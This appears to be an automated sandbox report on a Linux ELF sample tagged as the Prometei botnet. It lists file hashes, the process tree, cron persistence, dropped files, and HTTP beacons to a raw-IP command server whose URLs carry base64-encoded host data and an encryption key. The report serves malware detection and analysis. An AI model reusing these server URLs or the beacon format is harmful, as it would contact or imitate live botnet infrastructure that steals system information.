File name:

na

Full analysis: https://app.any.run/tasks/7202049e-a36b-4696-96e9-cba1312c539a
Verdict: Malicious activity
Threats:

A botnet is a group of internet-connected devices that are controlled by a single individual or group, often without the knowledge or consent of the device owners. These devices can be used to launch a variety of malicious attacks, such as distributed denial-of-service (DDoS) attacks, spam campaigns, and data theft. Botnet malware is the software that is used to infect devices and turn them into part of a botnet.

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Analysis date: May 19, 2025, 13:01:08
OS: Ubuntu 22.04.2
Tags:
prometei
botnet
Indicators:
MIME: application/x-executable
File info: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
MD5:

CD787758E0D028A20D48BAE4E4B6F65F

SHA1:

14D3E51DD11084C49B778F80A6A6F887E91D566E

SHA256:

FD04FE5FA8F98AA93E014EBF36822B285D68FF8C0929D8A65905FE9A05B7B313

SSDEEP:

12288:z3WCA0/3AkBpERwU0hC7/ezjYEi0lIw+cL6mrOgyAJ1OpIAkRjN8cvifoVjf4SA:z3E0/3AkBqwU0cLezjYEi0x3LfrOgyAk

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • na.elf (PID: 41034)

    • PROMETEI has been detected

      • crashed.dump (PID: 41062)

  • SUSPICIOUS

    • Modifies file or directory owner

      • sudo (PID: 41030)

    • Starts itself from another location

      • na.elf (PID: 41034)

    • Reads passwd file

      • crontab (PID: 41042)
      • crontab (PID: 41058)
      • crontab (PID: 41053)

    • Executes commands using command-line interpreter

      • sudo (PID: 41033)

    • Modifies Cron jobs

      • dash (PID: 41052)

    • Checks all system information (uname)

      • dash (PID: 41076)
      • dash (PID: 41088)

    • Checks how long the system has been running

      • dash (PID: 41072)
      • dash (PID: 41084)

    • Connects to the server without a host name

      • crashed.dump (PID: 41062)

    • Check the Environment Variables Related to System Identification (os-release)

      • crashed.dump (PID: 41062)

  • INFO

    • Checks timezone

      • crontab (PID: 41053)
      • crontab (PID: 41058)
      • crontab (PID: 41042)
      • uptime (PID: 41073)
      • uptime (PID: 41085)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.o | ELF Executable and Linkable format (generic) (49.8)

EXIF

EXE

CPUArchitecture: 64 bit
CPUByteOrder: Little endian
ObjectFileType: Executable file
CPUType: AMD x86-64
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
163
Monitored processes
32
Malicious processes
2
Suspicious processes
4

Behavior graph

Click at the process to see the details
dash no specs sudo no specs chown no specs chmod no specs sudo no specs na.elf no specs locale-check no specs dash no specs chmod no specs dash no specs crontab no specs tracker-extract-3 no specs dash no specs crontab no specs dash no specs crontab no specs na.elf (deleted) no specs dash no specs #PROMETEI crashed.dump dash no specs hostnamectl no specs systemd-hostnamed no specs dash no specs dash no specs dash no specs uptime no specs uname no specs hostnamectl no specs dash no specs dash no specs uptime no specs uname no specs

Process information

PID
CMD
Path
Indicators
Parent process
41029/bin/sh -c "sudo chown user /tmp/na\.elf && chmod +x /tmp/na\.elf && DISPLAY=:0 sudo -iu user /tmp/na\.elf "/usr/bin/dash—IntiFjKCklFyPMJr
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
41030sudo chown user /tmp/na.elf/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libaudit.so.1.0.0
/usr/lib/x86_64-linux-gnu/libselinux.so.1
/usr/libexec/sudo/libsudo_util.so.0.0.0
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libcap-ng.so.0.0.0
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2
/usr/libexec/sudo/sudoers.so
/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
41031chown user /tmp/na.elf/usr/bin/chown—sudo
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
41032chmod +x /tmp/na.elf/usr/bin/chmod—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
41033sudo -iu user /tmp/na.elf/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libaudit.so.1.0.0
/usr/lib/x86_64-linux-gnu/libselinux.so.1
/usr/libexec/sudo/libsudo_util.so.0.0.0
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libcap-ng.so.0.0.0
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2
/usr/libexec/sudo/sudoers.so
/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
41034/tmp/na.elf/tmp/na.elf—sudo
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libtinfo.so.6.3
/usr/lib/x86_64-linux-gnu/libc.so.6
41035/usr/bin/locale-check C.UTF-8/usr/bin/locale-check—na.elf
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
41036sh -c "chmod +x /home/user/crashed\.dump"/usr/bin/dash—na.elf
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
41038chmod +x /home/user/crashed.dump/usr/bin/chmod—dash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
41041sh -c "crontab -l"/usr/bin/dash—na.elf
User:
user
Integrity Level:
UNKNOWN
Exit code:
256
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
Executable files
0
Suspicious files
1
Text files
3
Unknown types
0

Dropped files

PID
Process
Filename
Type
41034na.elf/home/user/crashed.dumpbinary
MD5:—
SHA256:—
41034na.elf/home/user/task.crontext
MD5:—
SHA256:—
41053crontab/var/spool/cron/crontabs/usertext
MD5:—
SHA256:—
41062crashed.dump/home/user/CommIdtext
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
12
DNS requests
11
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
41062
crashed.dump
GET
200
152.36.128.18:80
http://152.36.128.18/cgi-bin/p.cgi?add=aW5mbyB7DQp2NC4wMlZfVW5peDY0JnVzZXJtb2RlDQp1YnVudHUyMg0KDQo0eCBJbnRlbChSKSBDb3JlKFRNKSBpNS02NDAwIENQVSBAIDIuNzBHSHoNCjQwMDA0MzIga0INClFFTVUNClN0YW5kYXJkIFBDIF9pNDQwRlggKyBQSUlYLCAxOTk2Xw0KDQoNClVidW50dSAyMi4wNC4yIExUUyAmIDIyLjA0LjIgTFRTIChKYW1teSBKZWxseWZpc2gpICAmIGJvb2t3b3JtL3NpZCAmIA0KDQovaG9tZS91c2VyLw0KIDE0OjAxOjE5IHVwICAzOjU2LCAgMSB1c2VyLCAgbG9hZCBhdmVyYWdlOiAxLjA0LCAwLjcxLCAwLjYxfDE3NDc2NTk2NzkNCkxpbnV4IHVidW50dTIyIDYuNS4wLTEwMjUtb2VtICMyNi1VYnVudHUgU01QIFBSRUVNUFRfRFlOQU1JQyBUdWUgSnVuIDE4IDEyOjM1OjIyIFVUQyAyMDI0IHg4Nl82NCB4ODZfNjQgeDg2XzY0IEdOVS9MaW51eA0KfQ0K&i=081WHE725V70XF3Y&h=ubuntu22&enckey=pLLKyfKvJfN3dBp1ZiOgkJjTD52eJEkvxh3BCLVC5NGZFEj/8dHSIb0fRC/oyR3EyOjFyW8doPJ/oMil0nFRuwR3QwHiqXS17u/YsRYCY8SpE9SW91x7kxFPn2fbTacFtK+UR76xZlRgk6p5SZT9fz1xRdveLD1kpzjlQmqAAks=
unknown
—
—
unknown
—
—
GET
204
91.189.91.98:80
http://connectivity-check.ubuntu.com/
unknown
—
—
whitelisted
41062
crashed.dump
GET
200
152.36.128.18:80
http://152.36.128.18/cgi-bin/p.cgi?r=48&i=081WHE725V70XF3Y
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
484
avahi-daemon
224.0.0.251:5353
—
—
—
unknown
—
—
91.189.91.49:80
connectivity-check.ubuntu.com
Canonical Group Limited
US
whitelisted
—
—
91.189.91.98:80
connectivity-check.ubuntu.com
Canonical Group Limited
US
whitelisted
—
—
169.150.255.180:443
odrs.gnome.org
—
GB
whitelisted
—
—
185.125.188.59:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
—
—
185.125.188.57:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
512
snapd
185.125.188.54:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
512
snapd
185.125.188.58:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
41062
crashed.dump
152.36.128.18:80
—
COASTCONNECT-01
US
unknown

DNS requests

Domain
IP
Reputation
google.com
  • 142.250.186.78
  • 2a00:1450:4001:82a::200e
whitelisted
connectivity-check.ubuntu.com
  • 91.189.91.98
  • 91.189.91.49
  • 185.125.190.48
  • 185.125.190.18
  • 185.125.190.49
  • 185.125.190.17
  • 185.125.190.98
  • 91.189.91.48
  • 185.125.190.97
  • 185.125.190.96
  • 91.189.91.96
  • 2620:2d:4002:1::196
  • 2620:2d:4000:1::98
  • 2620:2d:4002:1::198
  • 2620:2d:4000:1::2b
  • 2001:67c:1562::24
  • 2001:67c:1562::23
  • 2620:2d:4000:1::23
  • 2620:2d:4000:1::97
  • 2620:2d:4000:1::22
  • 2620:2d:4000:1::96
  • 2620:2d:4000:1::2a
whitelisted
odrs.gnome.org
  • 169.150.255.180
  • 169.150.255.183
  • 195.181.175.40
  • 195.181.170.19
  • 207.211.211.27
  • 212.102.56.178
  • 37.19.194.81
  • 2a02:6ea0:c700::101
  • 2a02:6ea0:c700::21
  • 2a02:6ea0:c700::107
  • 2a02:6ea0:c700::112
  • 2a02:6ea0:c700::18
  • 2a02:6ea0:c700::11
  • 2a02:6ea0:c700::19
whitelisted
api.snapcraft.io
  • 185.125.188.59
  • 185.125.188.58
  • 185.125.188.57
  • 185.125.188.54
  • 2620:2d:4000:1010::117
  • 2620:2d:4000:1010::42
  • 2620:2d:4000:1010::344
  • 2620:2d:4000:1010::2e6
whitelisted
9.100.168.192.in-addr.arpa
  • —
unknown

Threats

No threats detected
No debug info